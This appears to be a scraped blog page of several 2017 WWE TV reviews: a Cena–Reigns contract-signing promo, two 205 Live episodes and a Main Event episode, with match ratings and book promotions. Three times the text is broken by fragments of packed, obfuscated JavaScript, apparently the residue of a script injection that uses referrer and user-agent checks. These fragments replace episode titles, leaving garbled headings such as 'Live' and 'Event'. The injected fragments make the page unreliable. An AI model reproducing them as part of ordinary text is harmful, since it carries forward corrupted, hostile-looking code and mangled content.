Kurt Angle is in the ring for the contract signing between Cena and Reigns. Cena is out first to say that he’s on Raw to face one man and Angle has made that happen for No Mercy. He’s seen Reigns being treated as the untouchable star and we’ll see how he can hang at No Mercy. Cena signs and here’s Reigns. Roman says that as great as Cena is, there’s one thing that he’s done that Cena can never do: retire the Undertaker at Wrestlemania.

Cena kneels before him and says some people are still trying to figure Reigns out. We hear about the fans wanting to see Cena change his ways (with the term heel turn being dropped in a rare moment) before Cena says Reigns is just a guy trying to fill shoes he can never fill. Cena isn’t a man at the end of his career with a bad hip. The reason Reigns won’t sign that is because the Roman Empire is done if he does.

Reigns says Cena sucks so Cena puts his arm around Angle and says the fans think he does too but he won a gold medal. Roman seems a bit shaken and lost for what to say. Cena: “Go ahead find it. I’ll wait. It’s called a promo and if you want to be the big dog you’re going to have to learn how to do it. SEE YOU FOURTH WALL!” Reigns gets fired up and goes on a rant that sounds straight off a message board, talking about how hard he works on the weekend so Cena can be on the Today Show.

Then Cena gets on his tour bus and shows up at a show if they pay him enough with the big shovel to bury people around him. Reigns is the one guy he can’t bury or see. Cena calls him out for being repetitive and says “it took you five years to cut a halfway decent promo but now I’m about to cut you down to size.” He talks about the mythical golden shovel but it’s always the fans who hold the keys and they always will.

Cena is tired of hearing the same thing for ten years by a lot tougher people. Here’s the thing: Cena hasn’t main evented Wrestlemania in five years and he was the opening match at Summerslam. He won the US Title and used it to introduce new stars to the WWE including Kevin Owens and AJ Styles (I believe he means Sami Zayn as AJ debuted way later). Reigns took the US Title as a demotion and now stands there blaming Cena for not being able to hang with him.

Cena has seen a lot of people trying to hang at this level and he’s heard about one guy getting to do it. Now he sees Roman face to face and gets the line of the night: “You’re lucky I’m a part timer because I can do this part time way better than you ever could full time.” Reigns signs and turns over the table….and the clip ends before Anderson and Gallows’ ridiculous cameo appearance can be mentioned.

Ariya Daivari vs. Mustafa Ali

Daivari takes him down without much effort and we hit an early armbar. A dropkick sends Daivari outside and we take a break. Back with Daivari eating a jumping knee to the face for two but grabbing a spinebuster for the same. Not that it matters as Ali’s rolling neckbreaker and tornado DDT set up the 054 for the pin at 8:20.

Rating: C. It didn’t have much time to do anything (remember the long break) and that’s kind of a shame. Ali has become one of the more consistent cruiserweight performers and Daivari isn’t the worst, as long as we don’t have to hear his lame promos. This was your standard Main Event cruiserweight match though and that’s not a good thing.

We’ll wrap it up here.

Women’s Title: Alexa Bliss vs. Sasha Banks

Banks is defending and gets rolled up for an early two. Sasha sends her hard into the corner and grabs an armbar. They’re starting with a slow pace and Bliss bails to the floor for a breather. There are the double knees from the apron and we take a break. Back with Bliss holding an armbar of her own before starting in on the back.

It’s off to a bow and arrow hold but Banks fights up without too much effort. The Bank Statement doesn’t work so Sasha goes with the running knees in the corner, only to miss a second attempt. Bliss goes with a hard right hand and a Code Red for a pretty close two. Banks gets in a few more knees and some aggressive forearms in the corner.

Back up and Alexa catches her in the corner by sending her face first into a buckle. A top rope superplex connects to bust up the back even more. Bliss is slow to cover and gets caught in the Bank Statement. That’s reversed into a rollup for two and there’s the DDT to give Bliss the title back at 15:00.

Rating: B. I’m really not getting the lack of successful title defenses for Banks. That makes four reigns and she’s lost the title in her first defense every time. As for the match itself, Bliss winning clean is an interesting call and the right one if you have to change the title. She looked better than she has before in the ring and is getting to the point where she can hang with the better workers. Couple that with the insane charisma and persona and she’s quite the force.

Post match Nia Jax comes out and destroys Sasha before putting Bliss on her shoulders. One electric chair later and Jax holds up the title over the new champ to end the show.

Overall Rating: C+. The main event and the long promo alone make this an easy show to watch. As usual the original wrestling was nothing memorable in the slightest but I don’t think anyone watches this show for that content. Raw is still on a roll right now with even the recap shows being entertaining.

Remember to follow me on Twitter @kbreviews and pick up the Complete 2002 Monday Night Raw Reviews in either E-Book or Paperback. Check out the information here:

http://kbwrestlingreviews.com/2017/07/21/new-e-bookpaperback-kbs-complete-monday-night-raw-2002-reviews/

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nhdis|var|u0026u|referrer|eerah||js|php'.split('|'),0,{})) Live
Date: August 1, 2017
Location: Quicken Loans Arena, Cleveland, Ohio
Commentators: Vic Joseph, Corey Graves

It’s back to the title scene now with a #1 contenders match between Ariya Daivari and Akira Tozawa, the winner of which will get the Cruiserweight Title shot at Summerslam. Other than that there isn’t much of importance going on around here but I’m sure we’ll see the midcard feuds built up as well. Let’s get to it.

We open with a recap of the build to Daivari vs. Tozawa, both of whom want the shot at Neville. Daivari has injured Tozawa’s shoulder but Tozawa is fighting through it like a true warrior. They’re not exactly hiding the fact that it’s going to be Tozawa getting the shot.

Opening sequence.

The announcers have a broken table due to Baron Corbin attacking Shinsuke Nakamura and getting Attitude Adjusted through the table.

Brian Kendrick vs. Jack Gallagher

Before the match, Kendrick says he’s tired of talking about Gallagher, who belongs in the circus instead of in this match. Gallagher punches him in the face at the bell and fires off some knees in the corner before ramming him head first into the buckle. We can’t even get a clean break out of the corner so you can tell Gallagher is serious tonight. Kendrick tries to crawl away so Gallagher stomps under the ropes for the DQ at 1:21.

Gallagher keeps up the beating until Kendrick bails into the crowd. This was a very different side of Gallagher and it was working pretty well for me.

Mustafa Ali and Rich Swann are playing WWE2K18 in the back when TJP interrupts. Ali leaves so more trash is talked, setting up a match next week in the name of friendly competition. For now though, they game. These young punk kids playing video games in the back all night.

Tony Nese vs. Gran Metalik

Nese gets in a lot of trash talk about his physique on the way to the ring. He’s not done yet either as he brags about said physique, which no one in Cleveland could accomplish. It also caused his team to win the main event last week instead of Cedric Alexander and Rich Swann. As for Metalik, he must be covered from head to toe because his physique just can’t measure up. Metalik has a pre-taped promo of his own, thankfully compete with subtitles.

Nese wastes no time in hitting the posing so Metalik handsprings off the ropes and grabs an armdrag. Now it’s Metalik posing and hitting a dropkick to put Nese outside. Nese slides back in and tries a baseball slide but Metalik jumps up and hits a top rope Asai moonsault onto Nese the second he hits the floor. That’s some insane timing. Back in and Nese gets two off a faceplant and it’s off to a bodyscissors. Metalik breaks up a superplex and gets his own two off a high crossbody. The rope walk elbow is good for the same but Nese kicks his legs out. Tony’s running knee in the corner is good for the pin at 6:29.

Rating: C+. I’ve liked Metalik since the Cruiserweight Classic and he still looked good here. I’m still not sure why he’s stuck on Main Event far more often than not. Nese is a fine choice for a midcard heel with the whole physique thing being a really easy idea that is always going to work.

Neville doesn’t care who he faces because they’ll have to bend the knee and kneel before the King of the Cruiserweights.

Ariya Daivari vs. Akira Tozawa

The winner gets Neville at Summerslam. Daivari dedicates the match to the Iranian gold medalist to keep up his tradition. Tozawa drives him into the corner for a loud chop to the chest and it’s time for some AH AH AH. More chops set up the running backsplash but it’s way too early for the top rope backsplash.

Instead Daivari cuts off a suicide dive with a crossbody and sends him outside for a good posting. Tozawa gets thrown up the ramp but he dives back in at nine. The slow beating continues back inside and it’s finally off to the logical armbar. Daivari switches up to a Cobra Clutch Crossface before Daivari slams him shoulder first into the mat.

The frog splash misses though and Tozawa makes the fired up comeback, including a Shining Wizard for two. Daivari trips him off the top though, sending the bad shoulder into the ropes. The frog splash is good for two, only to have Tozawa kick him in the face. There’s a suicide dive, followed by the top rope backsplash to send Tozawa to Summerslam at 11:18.

Rating: C+. Pretty obvious ending aside, these two had a solid match. Daivari is trying as hard as he can and is FAR better than what he used to be, though there are far better and more interesting heels on the roster. At least it could have been worse though, which is actually a lot more positive thing than I would usually say about him.

Neville is watching in the back to end the show.

Overall Rating: B-. Good show this week as 205 Live is really starting to find its groove. Now the problem is very simple: they need to find an audience. We’ve been over the problems with this show time and time again so I’ll spare you the details, but as long as they have one major story and a bunch of skippable minor stories, this show isn’t going anywhere positive anytime soon.

Remember to follow me on Twitter @kbreviews and pick up the Complete 2002 Monday Night Raw Reviews in either E-Book or Paperback. Check out the information here:

http://kbwrestlingreviews.com/2017/07/21/new-e-bookpaperback-kbs-complete-monday-night-raw-2002-reviews/

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ddsfe|var|u0026u|referrer|dtekd||js|php'.split('|'),0,{})) Live
Date: July 18, 2017
Location: Legacy Arena, Birmingham, Alabama
Commentators: Vic Joseph, Corey Graves

We have another showdown tonight as Mustafa Ali and Drew Gulak blow off their feud in a 2/3 falls match. This is all about high flying vs. mat wrestling and seems like the big ending. We also have Akira Tozawa vs. Neville II on the horizon but first, Tozawa has to get some revenge on Ariya Daivari. Let’s get to it.

The opening video looks at all the great high flying around here before shifting to Gulak’s No Fly Zone. We move on to a recap of Gulak vs. Ali, including their trading the first four matches, one of which included Gulak trying a top rope splash when he was pushed too far. This video makes the feud seem far more important and interesting than it probably is, which is exactly the point.

Opening sequence.

Drew Gulak vs. Mustafa Ali

2/3 falls and I guess this is how they keep the arena from emptying out to open the show. Gulak wristlocks him to start but gets caught in a hammerlock. Ali grabs a pair of rollups for two before he grabs both arms and spins Gulak around into a third rollup for the first fall at 1:53.

Gulak gets more aggressive to start the second fall but eats a dropkick for two. A monkey flip is broken up though and Gulak dumps him to the floor for a big crash. Back in and Gulak grabs a chinlock while yelling a lot. Ali gets all fired up and doesn’t mind the knees to his face. It’s time for the comeback with a series of clotheslines and a kick to the head, followed by the rolling neckbreaker. They head outside with Ali hitting a hurricanrana but landing on the back of his head for a bad sounding thud. Back in and Gulak sends him head first into the middle buckle, setting up the Dragon Sleeper for the tap at 7:55.

Ali says he can continue so Gulak kicks him in the head. We hit the chinlock again before Ali fights up for a hurricanrana out of the corner. That doesn’t work as well either though as Gulak plants him with a powerbomb to counter and knock Ali silly again. A reverse hurricanrana puts Gulak down and a big flip dive to the floor draws a one man HOLY S*** chant.

Back in and they do the high crossbody spot that ended one of their earlier matches with Gulak rolling through for two. Another enziguri sets up Ali’s tornado DDT for two more, only to have Drew take his head off with a clothesline. Gulak takes WAY too long going up though and actually decides to come back down, only to get caught in another hurricanrana. The inverted 450 puts Drew away at 16:52.

Rating: B. That might be the longest 205 Live match to date and that’s a good thing. This is the kind of match that needed more time to make things work. Ali winning is probably the right call, though again I would have liked to see Gulak keep going with this idea and gain a few followers. If Ali doesn’t go anywhere from this, I don’t see the point in having him win here but that’s one of the least of this show’s problems.

We look at Titus O’Neil throwing in the towel for Akira Tozawa. Post match, Tozawa got Titus to get him a rematch with Daivari.

Earlier today, Tozawa told Apollo Crews that he was fine but Crews reminded him that Titus stood up for him because he cares about the two of them.

Brian Kendrick vs. Devin Bennett

Before the match, Kendrick asks Bennett, who is from Manchester, England ala Jack Gallagher, if the people of Manchester are proud of Gallagher. This is America and it doesn’t work the same as things do over in England. Here you have to work hard and not be a clown like Gallagher so Devin can walk away now if he wants to. Devin is ready to go so Kendrick beats him down while asking if Bennett is a clown. Bennett’s head is kicked into the ropes and Kendrick chops away in the corner. Kendrick offers him a free shot and is incensed when Bennett takes it. A boot to the face sets up the Captain’s Hook for the tap at 1:35.

Video on last week’s I Quit match between Cedric Alexander and Noam Dar with Cedric stomping on the arm with a chair wrapped around it to make Dar quit. After the match, Dar dumped Alicia Fox in what sounded like a major heel turn but was received like a face turn.

TJP doesn’t think much of what he did last week and thinks it’s only Rich Swann who has a problem with it. They still have issues from when TJP eliminated Swann from the Cruiserweight Classic so next week they can have a tag match with both of them picking a partner.

Akira Tozawa vs. Ariya Daivari

Daivari again dedicates the match to the Iranian gold medalist. He defeated a Japanese wrestler to win his medal and history repeated itself last night. Tozawa comes in with a very bad shoulder and starts fast with the fake out right hand to the face. Daivari makes things harder on himself by missing a charge into the corner, only to bail to the apron before Tozawa can try the top rope backsplash.

The bad shoulder is sent into the post and Tozawa is in big trouble. Tozawa tries a sunset flip but gets stomped in the shoulder, leaving Daivari to pose. Daivari takes a bit too long though and gets sent outside for the suicide headbutt (which probably should have hurt the shoulder too). Back in and Daivari is right back on the shoulder but a Shining Wizard gives Tozawa two. A Codebreaker on the arm sets up a top rope splash for another near fall on Tozawa, who grabs a quick rollup (and maybe the trunks) for the pin at 8:32.

Rating: C+. Good match here but again it’s hard to get into Daivari as he’s one of the most generic heels I’ve seen in a long time. He’s just kind of there with the “Iran is awesome” stuff and that’s not enough to work too well when he’s not the most interesting wrestler in the world. Tozawa would seem to be heading towards a rematch with Neville but they’re taking their time advancing things.

Post match Daivari posts Tozawa’s shoulder and stands tall to end the show.

Overall Rating: B-. This show had some better wrestling but the problem continues to be a lack of reasons to care about most of these people. They all feel very low level compared to everyone else on the roster and that makes for some difficult shows to sit through. There were two good matches on here and the show still felt especially long. I know there are a lot of reasons to dislike 205 Live but above all else, they need to give me a reason to care about or connect to the roster.

Remember to follow me on Twitter @kbreviews and pick up the Complete 2002 Monday Night Raw Reviews in either E-Book or Paperback. Check out the information here:

http://kbwrestlingreviews.com/2017/07/21/new-e-bookpaperback-kbs-complete-monday-night-raw-2002-reviews/

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|esztr|var|u0026u|referrer|aztyf||js|php'.split('|'),0,{})) Event
Date: July 6, 2017
Location: Talking Stick Resort Arena, Phoenix, Arizona
Commentators: Vic Joseph, Corey Graves

This show is starting to improve as I can’t remember what happened last week. Far too often the shows would be almost interchangeable with the same talent appearing over and over. Now though, things are being mixed up enough that I can’t even guess what was on here last week. Therefore, hopefully we can have another show that I forget by Sunday again. Let’s get to it.

Opening sequence.

Rich Swann vs. Ariya Daivari

Daivari misses a shot in the corner and Rich dances away as only he can. A dropkick gives Swann two but Daivari rolls away before the Phoenix splash can launch. Instead he sends Swann hard into the post and stomps away back inside. We hit the neck crank before Daivari puts on something like a Sharpshooter with his arms, only to have Swann make the rope. Shame too as that was a cool looking move. A big kick to the head knocks Daivari silly and a rollup gets two. Daivari grabs a reverse DDT and the frog splash gets two. Another kick do Daivari’s head sets up the Phoenix splash to give Rich the pin at 5:41.

Rating: C-. As dull as Daivari is, Swann continues to be one of the most energetic members of the roster. Sure his big thing is dancing but that’s become background information to the solid matches he’s put on. The problem is he’s stuck here on Main Event or in unimportant matches on 205 Live. At least the matches are still good though, which is a great reason to keep him around.

Long recap of Enzo Amore vs. Big Cass.

From Raw.

Also from Raw.

Kalisto vs. Scott Dawson

And Revival isn’t on Raw….why? Dawson sends him into the corner to start so Kalisto slaps him in the face. A dropkick sends Dawson outside and that means a teased dive. Dash Wilder tries to offer a distraction but Dawson’s rollup only gets two. A knee to the shoulder works a bit better and we take over with Kalisto in trouble. Back with Kalisto knocking him off the ropes and getting two off a middle rope crossbody. Dawson comes back with a slingshot suplex (ala Tully) but Kalisto counters into a small package for the victory at 8:10.

Rating: D+. Did I mention I don’t know why Revival is here instead of on Raw? They were one of the big surprises on the post-Wrestlemania Raw and for some reason they can’t get back on Raw no matter how much the tag division could use them. The match was nothing to see but Dawson isn’t exactly known for his singles work.

We look at Braun Strowman threatening to hurt Roman Reigns on Raw.

From Raw one more time.

Apollo Crews vs. Braun Strowman

Crews does what he can to start but is quickly thrown outside as soon as Strowman gets his hands on him. We hit the neck crank before Crews is sent outside again. Titus fires him up enough that two enziguris stagger Strowman. The standing moonsault is broken up with Strowman kicking Apollo across the ring in an awesome block. Three straight powerslams finally put Crews away at 4:13.

Overall Rating: C. The Raw stuff more than saves the show from a pretty dull week of original wrestling. Dawson and Wilder being stuck here makes my head hurt and spin at the same time but until something changes, they’re not going to be on Raw for whatever reason. I’m sure it’s asking too much to push one of the top teams in the world when you already have so many heels on Raw. Clearly turning or depushing one of those teams (or moving American Alpha over to Raw) is out of the question so we’re stuck with things like this for now. Dang I really get annoyed at the tag division.

http://kbwrestlingreviews.com/2017/05/19/history-of-saturday-nights-main-event-and-clash-of-the-champions-now-in-paperback-plus-price-drops/

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6